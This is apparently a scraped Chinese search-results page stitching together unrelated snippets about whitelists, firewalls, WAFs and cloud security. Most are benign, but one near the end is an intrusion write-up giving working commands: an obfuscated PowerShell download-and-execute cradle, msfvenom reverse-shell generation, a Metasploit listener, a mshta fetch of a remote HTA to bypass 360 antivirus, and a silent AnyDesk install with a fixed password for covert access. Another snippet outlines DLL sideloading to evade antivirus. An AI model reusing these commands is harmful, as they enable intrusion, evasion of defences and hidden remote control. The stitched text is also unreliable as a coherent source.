远程管理是通过 WinRM 来实现的，这个和 Windows remote desktop 是有所不同的。
过程分析：首先判断安全组，加的“默认安全组放通全部端口”→然后测试telnet正常→测试远程，发现其实不是不能远程，是刚远程上眼睛还没反应过来就自动断掉了。
URl过滤技术对用户的URL进行访问控制，允许或禁止用户访问某些网络资源，可以达到规范上网的目的。对于制定URRl分类的HTTP报文，NGFW可以修改报文中的DSCP（Differentiated Services Code Point），是对网络设备进行流量分类的依据。
博主用的服务器是阿里云购买的，其实阿里云已经提供安全策略共给我们使用了，但是如果是公司自己的服务器，或者是我们自己的虚拟机等。还是需要自己看看配置好防火墙和如何配置白名单的。
我是这么做的。首先是在搭建一个nodejs服务来运行前端页面。在我请求登录的时候，能成功返回相应的成功信息。然后，当我再次请求读取别的接口的时候，返回的信息确实提示我尚未登录。此时此刻，我一脸蒙逼。明明我已经登陆了啊。后来偶然得知这是因为浏览器的机制问题。
白就是此文件在杀软的白名单中，不会被杀软查杀；黑就是我们的恶意代码，由自己编写。通常白黑共同组成木马的被控端，最大限度的逃避杀软查杀，增强抗杀能力，而且方便免杀处理。一般情况下白为exe（带有签名），黑为dll或者其他，当然黑可以分成多部分。
本节从组复制的IP白名单以及安全套接字(SSL)支持两个方面来介绍如何保护组合组成员之间连接的安全性。
Rundll32是指32位的DLL文件，它的作用是执行DLL文件中的内部函数,功能就是以命令行的方式调用动态链接程序库。
就在前两天，Talos发布了Microsoft Edge浏览器的安全漏洞细节，受此漏洞影响的还包括旧版本Google Chrome（CVE-2017-5033）以及基于Webkit的浏览器（例如苹果的
在内网渗透中，经常会在内网主机执行执行的渗透工具的时候出现执行不起来的情况，很多时候是由与安全软件做了白名单限制，只允许指定的白名单中的应用程序启动，这时我们就需要利用白名单中的程序做我们想做的事情，执行我们想要执行的程序，下面就给大家分享几个绕过白名单执行应用程序的姿势。
在做渗透测试任务时，我们常常会碰到一些直连SQL Server数据库的桌面应用。但偶尔也会碰到一些后端为SQL Server的应用，并且其只允许来自预定义的主机名或应用程序列表的连接。这些类型的限制通常是通过登录触发器来强制执行的。在本文中，我将向大家展示如何利用连接字符串属性欺骗主机名和应用程序名称来绕过这些限制。示例中将会包括SSMS和PowerUpSQL。这对于那些继承了旧式桌面应用的渗透测试人员和开发人员非常有用。
YApi 是高效、易用、功能强大的 api 管理平台是国内某旅行网站的大前端技术中心开源项目，使用mock数据/脚本作为中间交互层，为前端后台开发与测试人员提供更优雅的接口管理服务，该系统被国内较多知名互联网企业所采用。
跟腾讯云了解到windows服务器vnc分辨率是可以调多档的，分辨率越高，母机开销越大，母机默认分辨率没调太高是考虑到母机稳定性和大多数客户都是远程来使用机器，直接用vnc的少，所以没有全量多档vnc。vnc多档分辨率暂时由白名单控制。
在本次实验中，您将使用 Streams Replication Manager (SRM) 跨集群复制 Kafka 主题。
“实际上，agent端指标的白名单和黑名单也是Zabbix培训中的一个重要主题。”
IP白名单是一种网络安全机制，用于限制只允许特定的IP地址或IP地址范围通过访问控制。在本文中，我将详细解释IP白名单的概念、用途以及如何设置IP白名单。
白名单和上一节讲的黑名单的区别在哪里？黑名单是未经许可非法用户禁止入内，我禁止某些人入内，大部分人是可以进去的。白名单是未经允许禁止入内，只有允许的人才能进入，对应的文件上传就是只有合法文件才能上传。解析的时候我们为什么要文件合法？因为中间件能够解析，只允许不能被解释的文件且只符合当前业务的文件才能够上传。比如头像png、jpg、gif，不需要其他的文件名，做好限制极大地杜绝安全问题。
如果开启了全局变量，则服务器端PHP脚本可以用username和password来获取到用户名和密码，这会造成极大的脚本注入危险。
Android 6.0 之后 , 引入了电量优化相关特性 Doze 低电耗模式 和 Standby 应用待机模式 ;
防御DDOS是一个系统工程，攻击花样多，防御的成本高瓶颈多，防御起来即被动又无奈。DDOS的特点是分布式，针对带宽和服务攻击，也就是四层流量攻击和七层应用攻击，相应的防御瓶颈四层在带宽，七层的多在架构的吞吐量。对于七层的应用攻击，我们还是可以做一些配置来防御的，例如前端是Nginx，主要使用nginx的http_limit_conn和http_limit_req模块来防御。ngx_http_limit_conn_module 可以限制单个IP的连接数，ngx_http_limit_req_module 可以限制单个IP每秒请求数，通过限制连接数和请求数能相对有效的防御CC攻击。下面是配置方法：
FTP(File Transfer Protocol)文件传输协议，用于Internet上控制文件的双向传输。
近期用户给我们留言，涉及到“白名单”的问题越来越多，今天于老师就跟大家聊聊安全圈内常说的“白名单”到底是什么。
/etc/hosts.deny *脚本 /root/SSH_Deny_Rule.sh
1、备份方式：是云服务器推文件到本地服务器写入，还是本地服务器从云服务器拉文件？这个问题涉及就是谁作为服务端，服务端需映射公网服务端口，客户端则不需要。这里我们将云服务器作为服务端，同时设置白名单只允许本地服务器出口IP才允许访问。
不知道从什么时候开始，有网友反馈本站系统发送出去的验证邮件收取不到，无法完成邮箱的验证和密码找回功能，其实，真的挺奇葩，之前@可风跟我说过一次，他网站的发出去的邮箱都在垃圾箱里，当时并没有重视，现在看来我也被移入到垃圾箱了么？然后我跟网友说你试试看看垃圾箱有没有，，，网友说嗯嗯，是的有，在垃圾箱！
腾讯云 Elasticsearch是一个搭建于云平台下的存储、搜索、分析引擎，可以预见它的安全性在企业中的位置是非常重要的。所以，一般我们不对外网暴露其访问端口。那如果因为某种原因确实需要在外网环境下安全有效的进行连接改怎么解决呢？下面我带大家来解决这个问题，强烈建议生产环境谨慎此操作，测试可以。
在应用A跳转到应用B，则给A、B自身自定义URL Schemes（自定义的协议头）后，通过在A中处理B的URL Schemes，就可以在A中启动B了。
本文主要内容是通过SpringCloud Gateway构建一个网关微服务，作为统一的认证授权和访问入口。
此存储库包含与CORS配置错误相关的易受攻击代码。你可以在本地机器上配置易受攻击的代码，以实际利用与CORS相关的错误配置问题。
JDK Enhancement Proposal 简称JEP，是 JDK 增强提议的一个项目，目前索引编号已经达到了JEP415，本文重点来谈谈什么是JEP290，JEP290做了哪些事，JEP290绕过的方法总结等。
Redis 是一款高性能的键值存储数据库，广泛应用于各种场景下的数据存储和缓存。但是由于 Redis 的默认配置存在一些安全风险，如果不进行安全配置，可能会导致数据泄漏、服务器被攻击等问题。因此，在使用 Redis 时，必须进行一些安全配置，以保障数据的安全和可靠性。
由于脚本语言和早期版本设计的诸多原因，php项目存在不少安全隐患。从配置选项来看，可以做如下的优化。
Streams Replication Manager（SRM）是一种企业级复制解决方案，可实现容错、可扩展且健壮的跨集群Kafka主题复制。SRM提供了动态更改配置的功能，并使Topic属性在高性能的集群之间保持同步。SRM还提供了自定义扩展，可促进安装、管理和监视，从而使SRM成为针对任务关键型工作负载而构建的完整复制解决方案。Streams Replication Manager由两个主要组件组成：流复制引擎和流复制管理服务。
前段时间我们和大家分享过关于EasyGBS的一些网络安全相关的文章，以及一些用以提升平台安全配置的新增功能，感兴趣的用户可以查阅这篇文章：EasyGBS新增首次登录强制修改SIP密码功能、EasyGBS被国外IP攻击后如何快速删除这些垃圾设备？
之前的文章中介绍了nginx的一种waf，是添加modsecurity模块来作为nginx的waf，功能很强大，nginx官方plus版本中其实也是用modsecurity作为waf的，但是modsecurity对于普通用户来说配置相对复杂，特别是它的规则，所以，今天推荐一个开源、高性能、低规则维护的waf——Naxsi
EasyCVR视频融合云平台兼容性强、开放度高，它能对多种终端（PC电脑、手机、平板、电子大屏等）分发出RTSP、RTMP、FLV、HLS、WebRTC等格式的视频流，在视频接入上也能支持市面上大多数的视频监控设备，可通过GB28181、RTMP、RTSP/Onvif、海康SDK、大华SDK、Ehome等协议进行接入。
简介：使用腾讯云CDN加速站点访问后出现403错误，通常情况下可能是由域名配置、CDN 安全策略以及源站响应 403 导致。本文详细介绍了 CDN 常见的引发403错误的问题场景。
徐老师写的这篇文章《MySQL防火墙》给我们介绍MySQL防火墙功能，之前了解很少，学习借鉴一下。
一米软件发现很人做邮件营销的操作很简单，就是随便编辑一些文案，然后插入广告信息，或者直接全是广告，然后用邮件群发软件群发就结束了。
亚信安全CERT监控到Fastjson Develop Team发布安全公告，修复了一个存在于Fastjson1.2.80及之前版本中的反序列化漏洞。
Naxsi是第三方Nginx模块，提供Web应用程序防火墙功能。它为您的Web服务器带来了额外的安全性，并保护您的服务器免受各种Web攻击，如XSS和SQL的注入。
◆ 概述 SSHGuard是一个入侵防御实用程序，它可以解析日志并使用系统防火墙自动阻止行为不端的 IP 地址（或其子网）。最初旨在为 OpenSSH 服务提供额外的保护层，SSHGuard 还保护范围广泛的服务，例如 Vsftpd 和 Postfix。它可以识别多种日志格式，包括 Syslog、Syslog-ng 和原始日志文件。SSHGuard 与 Fail2ban 非常相似，只是它是用 C 编写的（Fail2ban 是用 Python 编写的），更轻巧，提供的功能更少。 在本指南中，我们将演示如何安装
注意：如果不进行白名单配置，或则删除所有配置，则代表没有白名单，所有的错误事件都会被接收。
某些时候可能您会发现，别人网站直接将您的网站图片拿过去使用，导致额外消耗服务器流量和带宽，如果本身服务器带宽和流量就比较小，被人盗链后势必会造成一定影响。这篇文章分享下如何通过Nginx来设置防盗链，禁止其它网站盗用图片。
上一篇文章中介绍了SQL注入攻击，避免MySQL遭受SQL注入攻击的方法之一是使用防火墙。
异常信息： "errcode":60020,"errmsg":"访问ip不在白名单之中"
为了避免恶意程序使用资源 URL 盗刷公网流量或使用恶意手法盗用资源，给用户带来不必要的损失。腾讯云对象存储支持防盗链配置，建议您通过控制台的防盗链设置配置黑/白名单，来进行安全防护。
翻看磁盘文件时发现“Exlive GPS车辆定位服务平台”安装目录下有一个conf.xml配置文件，存储着这个定位服务平台的相关配置信息，包括MSSQL数据库的用户和密码。 ipconfig /all命令下发现这台主机有两个网卡，公网：47.**.***.77，内网：10.28.176.131，两个内网DNS服务器：10.143.22.116、10.143.22.118，并且可以与外网进行通讯。 0x04 绕过主动防御上线 测试了以前常用的Powershell混淆法，不过已经被360主动防御拦了，微软defender也会检测ps1脚本内容。所有免杀和绕过方式都有时效性，一旦被公布被查杀和拦截也正常（早晚的事）。 powershell $a='IEX((new-object net.webclient).downloadstring(''ht';$b='tp://url:8888/360.ps1''))';IEX ($a+$b) web_delivery、hta_server模块肯定更不行了，最终我们是利用Mshta.exe白名单方式成功绕过360主动防御得到目标主机Session会话，执行getsystem即可提升为SYSTEM，执行命令如下。 1、生成载荷并编码 msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp lhost=155.**.***.16 lport=443 -f raw > /tmp/shellcode.bin cat /tmp/shellcode.bin | base64 -w 0 2、配置监听模块参数 use exploit/multi/handler set payload windows/meterpreter/reverse_tcp set lhost 155.**.***.16 set lport 443 exploit 3、目标主机执行载荷 mshta http://155.**.***.16:8888/bypass360.hta 注：mshta白名单貌似只能用x86的Payload，执行成功后会自动迁移至32位的rundll32.exe进程，所以就可能会出现由werfaylt.exe弹出的下图报错，所以个人建议在得到Session后迁移至x64进程，并执行taskkill /f /im werfaylt.exe命令将该进程结束掉。 0x05 绕过异地登录提醒 虽然已经是最高权限了，但由于这台主机为阿里云，且存在360主动防御，就不添加用户进行远程桌面连接了，因为360会拦截添加用户，而且远程桌面连接时会触发异地登录提醒。 为避免触发异地登录提醒，我们可以利用AnyDesk来进行绕过，将AnyDesk.exe和静默安装批处理文件上传至可读写目录中，然后在命令行下执行该批处理文件获取连接ID。 注：如果等待时间过长，一直卡着不动获取不到连接ID时可结束当前命令行，重新进入命令行执行anydesk --get-id命令来获取连接ID。 @echo off AnyDesk.exe --install "C:\ProgramData\AnyDesk" --silent echo licence_keyABC | "C:\ProgramData\AnyDesk\AnyDesk.exe" --register-licence echo anydesk!@# | "C:\ProgramData\AnyDesk\AnyDesk.exe" --set-password choice /t 10 /d y /n >nul for /f "delims=" %%i in ('anydesk --get-id') do set CID=%%i echo Connection ID Is: %CID% 接着我们使用静默安装批处理文件中设置的固定连接密码和获取到的连接ID即可连接到目标主机的远程桌面，成功的绕过了阿里云主机的异地登录提醒。 至此，全文结束，内网就不搞了！！！
iOS 9系统更新后限制了http协议的访问，此外第三方应用需要在“Info.plist”中列为白名单，才可正常检查其应用是否安装。受此影响，当你的应用在iOS 9中需要使用QQ/QQ空间/支付宝/微信SDK的相关能力（分享、收藏、支付、登录等）时，需要适配iOS 9 才行，否则会发现无法调取第三方应用。
领取专属 10元无门槛券
手把手带您无忧上云
云服务器
ICP备案
对象存储
腾讯会议
实时音视频
